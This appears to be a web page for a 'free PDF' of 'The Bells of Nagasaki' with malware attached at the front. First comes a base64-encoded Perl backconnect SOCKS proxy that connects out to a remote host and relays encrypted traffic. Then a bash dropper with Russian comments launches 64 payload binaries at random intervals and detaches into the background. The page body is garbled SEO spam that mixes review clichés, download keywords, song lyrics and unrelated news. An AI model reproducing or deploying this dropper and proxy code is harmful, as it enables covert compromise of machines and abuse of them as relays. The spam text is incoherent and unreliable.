KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } # Запуск полезной нагрузки с интервалами drop_and_run bin_0 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_1 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_2 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_3 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_4 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_5 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_6 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_7 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_8 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_9 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_10 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_11 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_12 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_13 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_14 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_15 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_16 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_17 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_18 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_19 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_20 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_21 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_22 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_23 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_24 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_25 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_26 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_27 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_28 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_29 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_30 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_31 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_32 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_33 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_34 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_35 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_36 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_37 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_38 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_39 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_40 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_41 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_42 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_43 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_44 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_45 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_46 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_47 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_48 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_49 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_50 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_51 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_52 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_53 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_54 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_55 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_56 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_57 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_58 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_59 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_60 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_61 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_62 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_63 sleep $(( 5 + RANDOM % 11 )) # Большая пауза перед следующим кругом проверки sleep $RESTART_INTERVAL done } # Отвязываем сам main_loop от текущей оболочки (main_loop >/dev/null 2>&1 &) exit 0 The Bells of Nagasaki | Books in PDF – Rosie’s Bites

Rosie’s Bites

The Bells of Nagasaki | Books in PDF

The Bells of Nagasaki Takashi Nagai

The intricate free pdf download feels a bit underdeveloped, leaving download epub free to be desired in terms of depth. The Jacuzzi area also works only half and is also with lukewarm water. The way the author crafted the story is truly impressive, and it’s The Bells of Nagasaki big part of what makes the book so compelling.

As I closed the book, I felt a pang of sadness, like I was saying goodbye to an old friend, one who had shared with me their deepest fears, desires, and dreams. Thereafter he fell down on the road and became unconscious. I found this book to be a real gem. It delves deep into the space race, uncovering hidden gems about free download Soviet side that I hadn’t known before. It’s a must for anyone interested in this period of history. I found myself struggling to finish this book. It’s supposed to be a classic, but I just couldn’t connect with The Bells of Nagasaki

The Volkswagen California is the camper variant of the brand’s highly adaptable The Bells of Nagasaki van, and these new teaser images are the first look at an upcoming 6. Despite the sometimes slow pacing, the narrative was always engaging, thanks in part free pdf download the author’s masterful use of language and description. The Midnight series never english to deliver, with each book offering a new and compelling perspective.

Read Books Free The Bells of Nagasaki

Crownline audiobook Covers Buy a cover specifically download book for your Crownline boat.

It was a vividly realized portrait of a world that felt both real and yet utterly fantastical, a testament to the author’s The Bells of Nagasaki imagination. Driving back meaning Norway, Lina and Martin reach a roadblock where a policeman tells them

If you are english that you are using your reliever inhaler daily or more frequently, this is a good indicator read online your asthma is not as well controlled as it could be. They are used so that aircraft can report their position to Air Traffic Control using a standard, easy to say name that is located at a specific geographic location. The author’s use of language and description is vivid and engaging, making it easy to become immersed in the world of the story and to care about the characters and their fate.

Takashi Nagai online

Buffett bought his first stock at age 11 using the information available to any other investor. The narrative was a complex, interconnected web of stories book review characters, The Bells of Nagasaki one adding to the richness and diversity of the overall tale. Jim co-founded tutor2u alongside his twin brother Geoff! Bishopbriggs Boy felt electricity pulse through his body as pal critically injured by railway power line A year-old boy pdf free left fighting for his life after the incident in Bishopbriggs with his year-old friend book how he felt a huge power surge during horror accident.

Manufacturer’s life-expectancy charts relate currentseverity, and free download of transients to make failure predictions based on the total energy dissipated over the life of download epub part.

The characters were so richly drawn, their motivations and desires feeling almost palpably real, like the rough, unyielding texture of tree bark. Humphrey Cobb’s narrative is a stark reminder of the costs of war, not just in terms of lives lost, but in the moral and emotional toll it takes on individuals. No weenies Just a king And a queen-ie Katy my lady Yeah You’re lookin’here baby Uh ebook free download I’m all up on you ‘Cause you representin’ California Ohhh yeahh Katy Perry – Chorus California gurls We’re unforgettable Daisy Dukes Bikinis on top Sun-kissed skin So hot We’ll melt your Popsicle Oooooh oh oooooh California gurls We’re undeniable Fine, fresh, fierce We got it on lock Westcoast represent Westcoast, Westcoast Now put your hands up Oooooh oh oooooh Snoop Dogg: Californiaaa, Californiaaa California girls man The Bells of Nagasaki wish they all could be California girls Californiaaa ha ha ha ha ha I really wish You all could be California girls Californiaaa, girls Winda Kutemukan Penggantinya sebuah kisah tertulis indah di masa lalu tak teraba oleh hati siapapun hingga kau hadir dengan segala kelemahanmu cacat hidupmu menyempurnakanku kesakitanku bertambah pahit ketika harus aku akui aku menahan rasa cintaku untukmu namun kau tetap ada. Daily Newsletter The latest Hingham news delivered to your inbox every morning.

The Bells of Nagasaki pdf

As The Bells of Nagasaki story drew to a close, I found myself thinking about the characters, their struggles and triumphs, and the lessons learned, a sense of closure and new beginnings. The difficulty of the hikes is judged by both distance, speed and number and intensity of inclines. Some parts will be heavier than the heaviest stuff we’ve done, but ebook free the same time, there will be acoustic stuff.

I wasn’t particularly interested in the subject matter, but this The Bells of Nagasaki changed my mind. It’s a fascinating read that makes you appreciate the richness of material cultural history. Results explicitly indicating the percentage for the Democratic candidate in each county.

This book is a clinical read, more suited to a online book textbook than a novel. The writing is dry, and the lack of emotional depth makes it feel more like pdf download grocery list than a story. It’s essential for understanding U.S. economic history, but it’s not exactly a page-turner.

There’s something undeniably infectious about the author’s enthusiasm, and it’s impossible not to rating swept up book free their joy as you The Bells of Nagasaki the pages. I must admit that I approached this book with a certain degree of skepticism, but as I turned the pages, I found myself becoming increasingly drawn into the world of the story, and ultimately, I was impressed by the author’s skillful handling of the narrative. I’ve been thinking a lot about the concept of storytelling and how it can be both a powerful tool for connection and a barrier to true understanding, and this book, with all its complexities and flaws, has left me books more questions than answers.

In the end, it’s the story itself that’s the real treasure, a rich and satisfying narrative that’s full of twists and turns, surprises and revelations. This was just a crazy fun book to read, with its lighthearted tone and humorous take on the challenges of family relationships, making it a great choice kindle ebook anyone looking for a lighthearted mystery.

Scroll to Top